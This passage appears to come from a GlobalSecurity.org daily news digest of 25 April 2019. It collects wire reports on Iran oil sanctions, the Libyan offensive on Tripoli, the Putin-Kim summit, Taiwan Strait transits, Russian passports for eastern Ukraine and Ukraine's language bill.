Iranian oil imports. Iranian President Hassan Rouhani said Wednesday his country must resist the sanctions because the Trump administration does not intend to negotiate in good faith with the Islamic republic. "The U.S. is not ready to hold negotiations at all and its measures are aimed at breaking up the Iranian nation," Rouhani said. He added that Iran will "have to make the U.S. regret its decision for which we have no choice but to resist." Iran's Supreme Leader Ayatollah Ali Khamenei said despite the U.S. actions, Iran would still be "able to export our oil to the extent that we need and when we decide." He added the actions will not "remain without an answer," but did not provide details. Iranian Foreign Minister Mohammad Javad Zarif also warned the United States, saying at an Asia Society event in New York it should "be prepared for the consequences" if it tries to stop Iran from finding buyers of its oil and using the Strait of Hormuz to transport it. U.S. Secretary of State Mike Pompeo justified ending the temporary waivers that were granted at a news conference Monday. "The goal remains simple: to deprive the outlaw regime of the funds it has used to destabilize the Middle East;" he said. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Libyan eastern-based army claims shooting down rival gov't warplane People's Daily Online (Xinhua) 08:22, April 25, 2019 TRIPOLI, April 23 (Xinhua) -- Libya's eastern-based army on Tuesday announced that it shot down a fighter jet of the UN-backed government, which tried to attack its airbase in southern Libya. "Anti-missiles of Jufra airbase managed to shoot down a fighter jet of the terrorist militias (government forces) trying to strike the base this morning," the army's spokesman Ahmad al-Mismari said in a statement. The fighter jet was with two other planes that fled afterwards, al-Mismari said, adding that search was underway for the downed plane and pilot. The Jufra district, located some 650 km southeast of the capital Tripoli, is controlled by the army. The eastern-based army, led by Khalifa Haftar, has been leading a military campaign since early April to take over Tripoli from the government. The fighting so far has killed more than 260 people, injured more than 12,00 others, and forced more than 20,000 people to flee their homes, according to the World Health Organization (WHO). Libya has been struggling to make a democratic transition amid insecurity and chaos ever since the fall of former leader Muammar Gaddafi's regime in 2011. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Intensified fighting turning Tripoli neighborhoods into 'battlefields': ICRC Iran Press TV Thu Apr 25, 2019 04:58PM The International Committee of the Red Cross (ICRC) says the humanitarian situation has greatly deteriorated around the Libyan capital amid a Saudi-backed push by renegade General Khalifa Haftar. The aid agency said in a statement on Thursday that intensified fighting for control of Tripoli is turning densely-populated residential areas of Tripoli into "battlefields". Hospitals, it said, are struggling with chronic shortages of medical supplies amid power outages and weakened water pumping stations. "The humanitarian situation in and around Tripoli has deteriorated sharply over the past three weeks," the ICRC said. "It is crucial that hospitals, medical facilities, health staff and vehicles transporting the wounded are allowed to carry out their activities safely." Elsewhere in the statement, the agency said thousands of people have been displaced by clashes in the violence-wracked region. "More than 30,000 people are said to have fled their homes and are sheltering with relatives or in public buildings," ICRC) said of a figure which the United Nations says has risen to almost 35,000. Youness Rahoui, the head of the ICRC office in Tripoli, said it was becoming "increasingly dangerous for medical workers to retrieve the wounded, with mounting reports of indiscriminate shelling". The 75-year-old Haftar who enjoys the loyalty of a group of armed militia and backing from Saudi Arabia, the United Arab Emirates and Egypt has taken upon himself to protect the government in the eastern city of Tobruk. Armed forces and militia loyal to the UN-recognized Government of National Accord (GNA), led by Prime Minister Fayez al-Sarraj, have been fighting back. According to the latest casualty toll from the World Health Organization, at least 278 people have been killed and more than 1,300 wounded in the clashes since the offensive began. Libya has been the scene of increasing violence since 2011, when longtime dictator Muammar Gaddafi was toppled from power after an uprising and a NATO military intervention. His ouster created a huge power vacuum, leading to chaos and the emergence of numerous militant outfits, including the Daesh terrorist group. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Libya's PM raps France for backing 'dictator' general Iran Press TV Thu Apr 25, 2019 07:00AM Libyan Prime Minister Fayez al-Sarraj, the leader of Libya's internationally-recognized government, has denounced France for supporting renegade general Khalifa Haftar, whose forces are pressing ahead with an offensive on the capital, Tripoli. Sarraj said in an interview with the French newspaper Leberation on Wednesday that Libyans were surprised to see Paris backing up "dictator" Haftar, a former army field marshal who is based in eastern Libya and heads a group of militia known as the so-called Libyan National Army (LNA). "We are surprised that France does not support our government, which is democratic, but supports a dictator," said Sarraj, who heads the internationally-recognized Government of National Accord (GNA). "When [French President] Emmanuel Macron called me, I warned him that public opinion was against France. We don't want Libyans to hate France. France still has a positive and important role to play." The Libyan prime minister made the remarks after reports emerged that a group of armed French intelligence operatives had been denied entry into Tunisia from Libya, where they were believed to have been helping Haftar. The men, claiming to be diplomats, carried communications devices speculated to have been used for keeping in touch with the LNA. Meanwhile, France's Le Monde newspaper has also claimed that Paris has been training Haftar's forces since 2015. Libyan officials have said the country would cease cooperation with the French government over the European country's interactions with Haftar. On Monday, Interior Minister Fathi Bach Agha said the French government was supporting "the criminal Haftar," adding that the GNA would cut security ties with Paris. The supporters of the United Nations (UN)-backed GNA say France has blocked resolutions at the UN Security Council, the European Union, and other international organizations opposing Haftar's offensive on Tripoli. Hundreds of Libyans held a protest against France in Tripoli on Friday, sporting the trademark yellow vests of French anti-government demonstrators and condemning both France and "war criminal" Haftar. France has publicly denied supporting Haftar so far, saying it has contact with all the factions and rival groups in the war-ravaged Libya. Libya has been divided between two rival governments, the House of Representatives based in the eastern city of Tobruk and the GNA, headed by Serraj, in Tripoli. The 75-year-old Haftar, who enjoys the loyalty of a group of armed militia and backing from Saudi Arabia, the United Arab Emirates, and Egypt, has taken upon himself to protect the government in Tobruk. Armed forces and militia loyal to the GNA have been fighting back. Haftar launched his deadly campaign to invade and conquer Tripoli the seat of the GNA on April 4. Fierce fighting is ongoing on the southern edges of the capital. According to the World Health Organization (WHO), the fighting has so far killed at least 264 people and wounded more than 1,200 others. Libyan officials say Haftar's forces have attacked residential areas as well. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Libyan Government Asks UN to Appoint Team to Investigate Alleged Attacks on Civilians in Tripoli By VOA News April 25, 2019 The Libyan government has asked the U.N. Security Council to appoint a team of experts to investigate alleged attacks on civilians in the capital of Tripoli. In an April 18 letter to the council that was circulated Thursday, Libyan Ambassador Elmahdi Elmajerbi said he requested the council dispatch a "a fact-finding mission" to investigate forces loyal to Libyan strongman Khalifa Haftar. The government alleges Haftar's forces killed and displaced civilians, destroyed private property, recruited children and involved them in "wars and hostilities." Last week, U.S. President Donald Trump called Haftar, a retired general and self-declared field marshal, and said he supported an attack on Tripoli, according to a Bloomberg news report. Haftar's forces launched an offensive on April 4 to seize the capital as part of a campaign to overthrow the U.N.-backed government. Haftar's troops, the Libyan National Army, are fighting militias loosely allied with the government. The government-allied forces launched an counter-offensive last weekend, prompting a warning from from the International Committee for the Red Cross that residential areas of Tripoli were becoming battlefields. The U.N. World Health Organization estimates more than 270 people, including civilians, have been killed in the fighting. More than 1,300 were wounded and more than 35,000 people have been forced to flee their homes. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Putin: US guarantees not enough for North Korea to denuclearize Iran Press TV Thu Apr 25, 2019 04:00PM Russian President Vladimir Putin says he believes US security guarantees will probably not be sufficient to convince North Korea to abandon its nuclear program. Putin made the remarks on Thursday after holding one-on-one talks with North Korean leader Kim Jong-un in their first summit held in Russia's Pacific city of Vladivostok. Any US guarantees, the Russian leader said, might need to be supported by other nations involved in previous six-way talks on the so-called denuclearization of the Korean Peninsula. The six-party negotiations involved South Korea, North Korea, the US, China, Russia, and Japan to settle the North's nuclear issue but they collapsed in 2009 without achieving any results. "[The North Koreans] only need guarantees about their security. That's it. All of us together need to think about this," Putin said at a presser after his first ever face-to-face talks with the North's leader. "I'm deeply convinced that if we get to a situation when some kind of security guarantees are needed from one party, in this case for North Korea, that it won't be possible to get by without international guarantees. It's unlikely that any agreements between two countries will be enough," he added. The Russian president insisted that the guarantees would have to be legally binding and vouch for North Korea's sovereignty. Putin's comments came nearly two months after US President Donald Trump and Kim reached an impasse at their face-to-face denuclearization talks in the Vietnamese capital, Hanoi. Washington demanded full disarmament and Pyongyang asked for economic incentives through partial lifting of harsh sanctions. The second summit in fact did collapse when the American president abruptly walked away from the talks without reaching a deal or even issuing a final statement. Trump claimed that he quit the talks because Kim demanded that all economic sanctions be lifted as a prerequisite to denuclearization. Pyongyang, however, quickly responded that it had never asked for the removal of all sanctions, but only their partial removal. Washington and Pyongyang have been at loggerheads since the collapse of the Hanoi summit. Trump and Kim met at a historic summit for the first time in June last year in Singapore, where they agreed to work toward the denuclearization of the Korean Peninsula. Subsequent diplomacy between the two sides, however, made little progress, mainly because Washington refused to lift its crippling sanctions. Elsewhere in his remarks, Putin described Kim as "quite open" and as "thoughtful" and "interesting." The North Korean leader, for his part, said the situation on the Korean Peninsula "is an issue that the world is very interested in." The last time Putin had a summit with the North's leader was in 2002, when he met with Kim Jong Il, Kim Jong-un's father and predecessor, in the Russian Far East. Kim Jong Il also met in 2011 with Dmitry Medvedev, Russia's then president and now its prime minister, at a military base, near Siberia's eastern mountains, some 5,550 kilometers east of capital Moscow. The US has refused to offer any sanctions relief in return for several unilateral steps already taken by North Korea. Pyongyang, on the other hand, has suspended its missile and nuclear testing, demolished at least one nuclear test site, and agreed to allow international inspectors into a missile engine test facility. Nevertheless, the US has insisted that sanctions on the North must remain in place until it completely and irreversibly dismantles its nuclear program. Russia ready to 'restore' ties with Ukraine Additionally on Thursday, Putin said Moscow was ready to restore full relations with Kiev after political novice Volodymyr Zelensky, a former comedian, won Ukraine's presidential election. "We want and we are ready to fully restore relations with Ukraine. But we cannot do this unilaterally," he said. Putin said the weekend election during which Zelensky beat incumbent Petro Poroshenko with 73 percent of the vote showed the "complete failure" of the latter's policies. "Ukraine's new leadership cannot fail to understand this," Putin added. The crisis between Russia and Ukraine commenced after a series of protests overthrew Ukraine's democratically-elected government in 2014 and replaced it with a pro-Western government. The incident provoked an armed conflict in the predominantly Russian-speaking regions of eastern Ukraine and also led to Crimea's reunion with Russia following a local referendum later in 2014. Kiev and its Western allies have since accused Moscow of channeling troops and armaments across the border into eastern Ukraine, a charge the Kremlin strongly denies. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US seeking surprise nuclear attack potential: Russia Iran Press TV Thu Apr 25, 2019 10:40AM The United States has been deploying missile defense systems near Russia to establish a nuclear shield that would make delivering a surprise nuclear strike on the country possible, says a top Russian general. Lt. Gen. Viktor Poznikhir, First Deputy Chief of the Russian General Staff's Main Operations Department said Wednesday that the US was trying to form a missile defense network to try and shoot down missiles that are fired in response to a nuclear attack. "The deployment of missile defense systems near our borders creates a powerful strike potential for the US enabling it to deliver a surprise [the attacked party won't be able to strike in response] missile and nuclear strike on Russia," the general told the Moscow Conference on International Security on Wednesday. The global missile defense system, which comprises a host of Patriot and Terminal High Altitude Area Defense (THAAD) systems, give Washington the potential to destroy intercontinental ballistic missiles of Russia, China and other possible adversaries while they are still in launchers. Poznikhir further warned that countries that are currently hosting or are slated to host the US missile shield components would be in trouble in case of war because these systems provide for major targets for Russia. They also raise the possibility of widespread radioactive contamination because in the host countries as the missile defense systems' limited range means the incoming ICBMs will be destroyed over their own territories. "Therefore, the countries taking part in implementing the Pentagon's anti-missile plans may suffer," he explained. Russia ready to respond Pznikhir said Russia has not been sitting idly by to watch the US military buildup and has already developed adequate measures to make sure the shield can be defeated. He named the upcoming Sarmat ICBM and the Avangard hypersonic warhead as two of the Russian weapons that are designed to bypass American defenses. Sarmat is said to have virtually no range limit. The missile is planned to replace the Soviet-era Voyevoda and is able to carry massive payloads across the North or the South pole to anywhere on the planet. The missile was featured for the first time in Putin's annual address to the Federal Assembly in early March 2018, where he showcased the missile system as the centerpiece of Russia's renewed and super advanced weapons. The general repeated the worlds of Russian President Vladimir Putin that Russia was not interested in a strategic arms race and " is urging the United States to return to the negotiating table for a constructive dialogue on the issues of missile defense and the search for mutually acceptable solutions." The Avangard, on the other hand, is a strategic intercontinental ballistic missile system equipped with a glide vehicle capable of flying at hypersonic speed. Upon re-entry, the vehicle keeps changing its flight path and its altitude, breaching any missile defense. Both Russia and China have complained in the past that the American missile defense systems deployed in South Korea, Japan, Romania and other countries around the world have long-range radars that can be used to gather intelligence from Russian and Chinese territories. Moscow has also warned that such system can be used in offensive role, firing missile into Russian territories in case of a military confrontation. Russia and the US have been clashing over the Intermediate-Range Nuclear Force (INF) treaty, a soviet-era pact that bans deployment of missile with a range from 500 kilometers to 5,500. Both countries have suspended the treaty, accusing each other of violating its terms. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address U.S. Slaps Travel Ban On Chechen Prime Minister By RFE/RL April 25, 2019 The United States has imposed an entry ban on Muslim Khuchiyev, the prime minister of Russia's North Caucasus Chechen Republic. The notice was posted on the website of the State Department on April 25, saying that the designation was applied under a law that stipulates sanctions when there is "credible information that foreign officials have been involved in significant corruption or a gross violation of human rights." "The department has credible information that [Khuchiyev] was involved in torture," the statement said. Khuchiyev's wife, Sapiyat Shabazova, was also sanctioned. Chechen Republic leader Ramzan Kadyrov, who is himself under U.S. sanctions under the 2012 Magnitsky Act, told Russia's Interfax news agency that the decision to sanction Khuchiyev was "humorous" and will not affect his prime minister. "He lived without any visits to the United States and will keep on living without them," Kadyrov said. The State Department said the Moscow Mechanism of the Organization for Security and Cooperation in Europe (OSCE) recently concluded that the Chechen government has "committed serious and ongoing human rights violations and abuses with impunity." It called on the Russian government to hold officials to account, including Khuchiyev. Source: https://www.rferl.org/a/u-s-travel-ban-khuchiyev- chechen-prime-minister/29903868.html Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Militants Violate Ceasefire in 3 Syrian Provinces Over 24 Hours - Russian MoD Sputnik News 23:30 25.04.2019 MOSCOW (Sputnik) - Over the past 24 hours, the Russian military registered ceasefire violations in three Syrian provinces, the head of the Russian Defence Ministry's Centre for Syrian Reconciliation, Maj. Gen. Viktor Kupchishin, said on Thursday. "Over the past 24 hours, militants attacked Tell al-Tut, al-Hakura and Skalbia in Hama province, Latakia, Safsara (twice) and Dahr-Abu-Asad (twice) in Latakia province and Ard al Bayad in Aleppo province," Kupchishin said at a briefing. As of Wednesday, 57,723 Syrian citizens have been granted amnesty over evading military service, Kupchishin added. Syria has been in a state of civil war since 2011, with the government forces fighting against numerous opposition groups and militant and terrorist organizations. Russia, along with Turkey and Iran, is a guarantor of the ceasefire regime in Syria. Moscow has also been providing humanitarian aid to residents of the crisis-torn country. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Amnesty: Anti-IS Coalition Strikes Killed 1,600 Civilians in Syria's Raqqa By Henry Ridgwell April 25, 2019 The U.S.-led coalition's offensive to oust Islamic State from the Syrian city of Raqqa killed more than 1,600 civilians, according to the results of an investigation, released jointly Thursday by Amnesty International and the group Airwars. The report said the deaths were a direct result of "thousands of U.S., U.K., and French air strikes and tens of thousands of U.S. artillery strikes in Raqqa between June and October of 2017. "Coalition forces razed Raqqa, but they cannot erase the truth," said Amnesty International's Donatella Rovera. "Amnesty International and Airwars call upon the Coalition forces to end their denial about the shocking scale of civilian deaths and destruction caused by their offensive in Raqqa." Airwars director Chris Woods called on the coalition to "fully investigate what went wrong at Raqqa and learn from those lessons." A Pentagon spokesman, in an email to VOA, said, "The Coalition complies with the Law of Armed Conflict and has taken extraordinary measures to minimize civilian casualties and collateral damage. We look at any and all sources for allegations of civilian casualties to include self-reports, social media, NGOs, news organizations and personal allegations." A U.S.-led coalition spokesman provided a much lower death toll from Raqqa. "According to our records, there have been 69 credible allegations out of Raqqa, resulting in 318 killed. Of note, there are still open allegations under investigation. Amnesty International provided us with 86 new allegations, 43 of which had already been assessed as credible and previously reported or were deemed not credible because the allegation did not corroborate with our strike records," said Col. Scott Rawlinson." We requested that Amnesty International provide us with additional information on the remaining 43 allegations if they have it so that we would be able to determine whether we could conduct an investigation." Researchers for Amnesty and Airwars combined firsthand accounts on the ground with open source and satellite data to identify individual air strikes and victims. Following a two-year investigation, Amnesty says it has gathered names for more than one thousand of the victims and claims to have verified 641 deaths on the ground in Raqqa "This is not a situation of a few individual cases, isolated cases. It is much more systemic than that," said Rovera. The IS militant group seized Raqqa in early 2014 and was defeated by U.S.-backed fighters earlier this year. During its control of Raqqa, IS conducted mass killings and enslaved minorities, actions the United Nations said amounted to genocide. The battle for Raqqa was "marked by violations committed by all sides and came at an extremely high cost to civilians," U.N. human rights experts said in a report last year. Amnesty's Rovera said that the weaponry used in Raqqa meant some of the coalition strikes were effectively indiscriminate. "U.S. forces boasted that they had used more artillery in Raqqa than in any place at any time since the Vietnam war. And that is nothing to be proud of because the risk for civilians is unacceptable. And on the air-delivered munitions, the munitions were precise but any precision munition is obviously only as precise as your intelligence," she said. Amnesty says it has previously documented how Islamic State used civilians as human shields in Raqqa, mined exit routes from the city and shot at those trying to flee. VOA's Wayne Lee and Carla Babb contributed to this report. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Taiwan aware of all foreign ships in Taiwan Strait: president ROC Central News Agency 2019/04/25 14:36:40 Taipei, April 25 (CNA) Taiwan remains on top of the passage of all foreign ships through the Taiwan Strait, President Tsai Ing-wen () said Thursday following the reported passage of a French military vessel through the strait earlier in the month. The French ship, identified as the frigate Vendemiaire, passed through the Taiwan Strait April 6 in a rare passage by a vessel of a European country, Reuters said in a report Thursday, citing unnamed U.S. officials. The officials said that as a result of the passage, China notified France that it was no longer invited to a naval parade to mark 70 years since the founding of China's navy. Warships from India, Australia and several other nations will participate, Reuters said. Asked to comment, Tsai pointed out that the Taiwan Strait is in international waters and that all kinds of vessels pass through it regularly. The Republic of China (Taiwan) Armed Forces has "overall and precise" information regarding all vessels passing through the waterway, regardless of whether they are military or civilian vessels, she said. Meanwhile, military spokesman Chen Chung-chi () declined to comment, saying only that all foreign ships passing through the strait are closely watched. Asked to comment on the significance of the movement, Chieh Chung (), a senior assistant research fellow at the Taipei-based National Policy Foundation, told CNA that the passage itself is unimportant, because neither Taiwan nor China regard the strait as their territorial waters. According to Chieh, the interesting part of the story is that it was the United States that made public the passage to the media, not France. By doing so, Chieh interpreted that as Washington sending a message to Beijing and all its allies that the Taiwan Strait is not under China's control. (By Matt Yu and Joseph Yeh) Enditem/J NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Taiwan to review issue of Chinese government subsidies: MAC ROC Central News Agency 2019/04/25 22:54:42 Taipei, April 25 (CNA) The government will look into the issue of subsidies from China and whether such developments are linked to Beijing's ongoing efforts to influence Taiwan's political scene, the Mainland Affairs Council (MAC) said Thursday. Speaking at a press event, MAC deputy chief Chiu Chui-cheng () reiterated that the government is not against businesses operating in China receiving subsidies there but would be concerned if recipients included media in Taiwan. Chiu's statement came after Apple Daily reported Monday that a subsidiary of Taiwan-based Want Want Holdings Ltd., in China, Want Want China Holdings Ltd., has received up to 477 million Chinese yuan (US$71 million) in subsidies from the Chinese government between 2017-2018. Want Want is a food company that was founded in 1962 in Taiwan by tycoon Tsai Eng-meng (). It expanded its business operations into China in the 1990s, setting up plants across the country. Citing Want Want's consolidated financial statements for 2017-2018, the report said the company only listed the income as "government grants" but did not detail the reasons for the subsidies or what they were used for. According to the report, the food company also operates several media outlets in Taiwan, including the China Times newspaper, China Television (CTV) and CTi TV. Want Want issued a statement the day after the report appeared, threatening to file a defamation suit against Chinese-language Apple Daily for a report it characterized as defamation. On Thursday, the MAC official said relevant government agencies are paying close attention to the issue and will take necessary measures to guard against China interfering in local politics. The government will work to maintain fairness and justice in all elections and strengthen relevant management mechanisms to prevent interference by external forces undermining democratic institutions, Chiu added. (By Miao Zong-han and Ko Lin) Enditem/AW NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address China lodges protest after French warships passes through Taiwan Strait Iran Press TV Thu Apr 25, 2019 03:19PM Beijing says it has lodged "stern representations" with Paris after a French navy warship entered the Taiwan Strait earlier this month, prompting the Chinese military to scramble vessels to warn it off. Chinese Defense Ministry spokesman Ren Guoqiang told a regularly scheduled media briefing in Beijing on Thursday that the French warship "illegally entered China's territorial waters" on April 7. Ren said warships were sent to escort the French vessel away from Chinese waters. "The Chinese military sent warships in accordance with the law, in order to identify the French ship, and warn it to sail away." "The Chinese military is always on high alert and firmly defends the sovereignty and security of the country," the spokesman stressed. A source close to the People's Liberation Army (PLA) told the South China Morning Post that Beijing felt the French warship's journey into the strait was "obviously instigated" by the United States. Following the incident, China withdrew an invitation to a French warship to take part in Tuesday's naval parade off the port city of Qingdao in the eastern Shandong province. The French operation comes amid increasing tensions between the United States and China. This also comes against the backdrop of increasingly regular passages by US warships through the strategic waterway. Last month, the United States sent Navy and Coast Guard ships through the Taiwan Strait. Beijing sees self-governed Taiwan as its territory awaiting reunification, but the United States has been the country that defies the claim by sailing through the strait. Beijing has been ramping up pressure to assert its sovereignty over the island. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Chinese Navy Warns Off French Warship in Taiwan Strait - Beijing Sputnik News 12:08 25.04.2019(updated 14:27 25.04.2019) The development comes after Taiwan scrambled warplanes late last month to "drive away" two Chinese fighter jets which it said flew past a maritime border in the Taiwan Strait. The Chinese navy warned off a French warship which entered the Taiwan Strait earlier this month, Beijing said on Thursday, adding that it had submitted an official protest to Paris over the move. According to the Chinese Defence Ministry, the French warship "illegally entered China's territorial waters" on 7 April. Reuters has, meanwhile, cited a French Defence Ministry source as saying that the French navy "transits through the Taiwan Strait once a year on average without any incident or reaction". Paris, has, meanwhile, stressed that it affirms right to "freedom of shipping" amid spat with China over the Taiwan Strait passages, AFP reports. This comes after Taiwan's Ministry of National Defence (MND) said earlier this month that two Chinese J-11 fighter jets had crossed the Taiwan Strait's "median line" on 31 March, prompting Taipei to scramble several aircraft in order to intercept the warplanes. Also, the 7 April French warship incident comes amid regular passages by US Navy ships through the strategic waterway. In late March, the US Navy's Seventh Fleet said in a statement that they had sent the naval destroyer USS Curtis Wilbur and the Coast Guard cutter Bertholf through the Taiwan Strait. The statement pointed out that the ships had "conducted a routine Taiwan Strait transit [on] 24-25 March (local time) in accordance with international law." Beijing made a representation to Washington over the US warships' passage, Chinese Foreign Ministry spokesman Geng Shuang said. He added that Beijing urges the US to "honour the 'One China' policy and three joint Chinese-US communiques [on the issue] and be prudent about the Taiwan issue in order to avoid the deterioration of Beijing-Washington relations and damage to peace and stability in the Taiwan Strait." The US has stepped up patrol missions in the Taiwan Strait since summer 2018. In late January 2019, Washington sent the guided-missile destroyer USS McCampbell and the fleet replenishment oiler USNS Walter S. Diehl there in order to "demonstrate the US commitment to a free and open Indo-Pacific", as US Pacific Fleet spokesman Lt. Cmdr. Tim Gorman commented in a statement. The passage of US warships takes place amid ongoing tensions between Washington and Beijing as the two remain engaged in the process of negotiating a trade deal. The Taiwan Strait divides Taiwan from mainland China. Beijing considers Taiwan to be part of a united China. Relations between the two sides were cut in 1949 after the remnants of Chiang Kai-shek's forces fled to the island following their defeat on the mainland. Ties were partially restored in the 1980s. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Kiev, Washington rap Moscow for offering citizenship to eastern Ukrainians Iran Press TV Thu Apr 25, 2019 02:14AM Moscow has made it easier for residents of eastern Ukraine to obtain Russian citizenship, arousing the ire of the US and the president-elect of Ukraine, who called for international sanctions against Russia. President Vladimir Putin signed a decree making it easier for the residents of separatist-controlled eastern Ukraine to obtain Russian passports and citizenship, the Kremlin said on Wednesday. In 2017, Putin signed an executive order recognizing the passports from the self-proclaimed Donetsk and Luhansk republics as valid in Russia. The move was widely regarded as the first step toward the official recognition of the two breakaway regions. Starting Wednesday, Russia's Interior Ministry is instructed to consider applications from eastern Ukraine within three months of submission. Putin enacted the new measures "to protect the human and civil rights and freedoms" of the area's 3.7 million residents, the Kremlin said. Later in the day, the US condemned the decision as "highly provocative." "Russia, through this highly provocative action, is intensifying its assault on Ukraine's sovereignty and territorial integrity," the US State Department said in a statement. Ukraine's President-elect Volodymyr Zelensky also urged more international sanctions against Russia after the decision, describing Russia as an an "occupying state". Kiev is "counting on increased diplomatic and sanctions pressure on the Russian Federation," Zelensky's press service said in a statement. Ukraine's outgoing President Petro Poroshenko also slammed the move, calling it "Russia's unprecedented interference in the internal affairs of an independent state." "This is an attempt to justify and legitimize Russia's military presence in the occupied part of the Ukrainian Donbass," Poroshenko said in a video statement, referring to the Kremlin-backed separatist areas. The conflict between the Ukrainian government and breakaway separatists began after Moscow annexed Kiev's Crimea peninsula in 2014. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Putin Rejects Criticism Of His Plan To Grant Russian Citizenship To Ukrainians By RFE/RL April 25, 2019 Russian President Vladimir Putin has rejected international criticism about his decision to ease the process of granting Russian citizenship to Ukrainians in territory of eastern Ukraine that is held by Russia-backed separatists. Putin told journalists in Vladivostok on April 25 that Kyiv's objections to his decree were "strange." He defended the move, announced on April 24, by claiming that his decree was similar to policies in European Union member states like Romania and Hungary that grant citizenship to "their own ethnic kin living outside their borders." "How are Russians living in Ukraine worse than Romanians...or Hungarians? Or Ukrainians who live there but feel an unbreakable link with Russia" because of family ties or "other considerations," Putin said. "I see nothing unusual here," he added. However, Putin's decree makes no reference to ethnicity, background, or self-identification. Its wording suggests that anyone living in the separatist-held parts of Ukraine's Donetsk and Luhansk regions can apply. The decree drew a swift and angry response from Kyiv, the United States, Britain, and the European Union. In a joint statement on April 25, France and Germany -- the European guarantors of the 2015 Minsk agreements -- said Putin's decree "goes against the spirit and aims" of the Minsk process, which seeks to establish a stable cease-fire in the conflict in parts of eastern Ukraine's Donbas region and then proceed to a political settlement. "This is the opposite of the urgently necessary contribution toward de-escalation," the statement said. European Commission spokeswoman Maja Kocijancic said the decree was "another attack on Ukraine's sovereignty by Russia." "We expect Russia to refrain from actions that are against the Minsk agreements and impede the full reintegration of the non-government-controlled areas into Ukraine," she said. One day earlier, Ukraine's foreign minister called it "aggression and interference" in Kyiv's affairs and a Western diplomat told RFE/RL it was a "highly provocative step" that would undermine the situation in the war-ravaged region known as the Donbas. President Petro Poroshenko said that with this decree "Russia is torpedoing the peace process in the Donbas." Ukraine's mission to the United Nations posted on Facebook that Kyiv had "asked that the UN Security Council call a session to discuss Russia's brazen decision to issue Russian passports in the temporarily occupied Ukrainian territory." The U.S. State Department also criticized Russia's move, saying Moscow "through this highly provocative action, is intensifying its assault on Ukraine's sovereignty and territorial integrity." Frozen Conflicts Critics point to other frozen conflicts in former Soviet republics where Russia has granted citizenship to residents of separatist-held territory in order to choreograph demographic changes over time and justify future military operations. In 2002, the Kremlin began granting Russian citizenship to residents of Georgia's breakaway regions of Abkhazia and South Ossetia -- a policy that helped raise the number of Russian passport holders there from about 20 percent to more than 85 percent of the population. Then, when Russia went to war against Georgia in August 2008, the Kremlin justified its deployment of Russian military forces in Abkhazia and South Ossetia by saying those forces were needed to protect Russia citizens in the separatist regions. Russian media reports say Russia has also issued its passports to nearly half of the residents of Moldova's Moscow-backed breakaway region of Transdniester. That policy has raised concerns in Chisinau that the Kremlin may use a similar argument of defending its citizens in order to justify future Russian military operations in Transdniester. Russia has maintained a "peacekeeping" force of 1,200 troops in the Transdniester region along the border with southeastern Ukraine since they were deployed there in 1992 in support of Transdniester separatists who were fighting against Moldovan government forces. NATO describes Russia's protracted military presence in Moldova's frozen conflict as illegal. NATO and the United Nations General Assembly have both urged Russia to withdraw its military forces from the breakaway Moldovan territory. With reporting by RFE/RL's Ukrainian, Georgian, and Moldovan services, Reuters, and AP Source: https://www.rferl.org/a/putin-rejects- criticism-of-his-plan-to-grant-russian-citizenship -to-ukrainians/29903392.html Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Parliament In Kyiv OKs Bill To 'Secure' Ukrainian As Official State Language By RFE/RL's Ukrainian Service April 25, 2019 KYIV -- Ukraine's parliament has approved legislation that its authors say will "secure" the use of Ukrainian as the official "state language." Ukraine's outgoing President Petro Poroshenko has said that he will sign the bill into law before he leaves office in early June. But Ukraine's president-elect, Volodymyr Zelenskiy, has criticized the bill as a set of "prohibitions and punishments" that will complicate bureaucratic procedures and "increase the number of officials instead of reducing them." In an April 25 statement on his Facebook page, Zelenskiy said his view "is that the state should promote the development of the Ukrainian language by creating incentives and positive examples." "After my appointment to the post of president, a thorough analysis of this law will be made to ensure that it meets all the constitutional rights and interests of all Ukrainian citizens," Zelenskiy said, adding that he will respond "in accordance with the constitutional powers of the president of Ukraine and in the interest of citizens." Russian Foreign Ministry spokeswoman Maria Zakharova told reporters in Moscow that the bill contradicts the Ukrainian Constitution and promotes the "Ukrainization" of the country. "It is actually a law on forced Ukrainization, basically a total one. Its texts envision significant restrictions, and in some case directly ban the use of Russian and the languages of ethnic minorities in different spheres of social life," Zakharova said. The bill says "the only official state language in Ukraine is the Ukrainian language." It says "attempts" to introduce other languages as the state language would be considered as "activities with the goal to forcibly change the constitutional order." The bill also introduces a legal concept known as the "public humiliation of the Ukrainian language," which it defines as "illegal activity equated to desecration of Ukraine's state symbols" under the country's criminal code. It allows language quotas for state and private television broadcasts and says at least half of the text in printed media must be in Ukrainian. The legislation also calls for the introduction of "language inspectors who will be present at all gatherings and sessions of any state bodies." They would be empowered to demand documents from political parties and public organizations and to impose punitive fines of up to $450 if they determine the documents are "not in Ukrainian." The bill also calls for the establishment of a state-run "center for the Ukrainian language" to issue certificates that confirm the language fluency of Ukrainian citizens. Public posts that require Ukrainian fluency under the bill include the presidency, the speaker of parliament and all parliamentary deputies, government ministers, the head of the state security service, the prosecutor-general, the chief of the Ukrainian National Bank, and local council members. The Ukrainian language also would be mandatory in all official documents, court records, elections and referendums, international treaties, and labor agreements,. The bill says the language rules would not apply to private conversations or religious rituals. The language issue is controversial among Russian speakers in Ukraine. Russia-backed separatists in eastern Ukraine claim Kyiv is deliberately curtailing the use of the Russian language. With additional 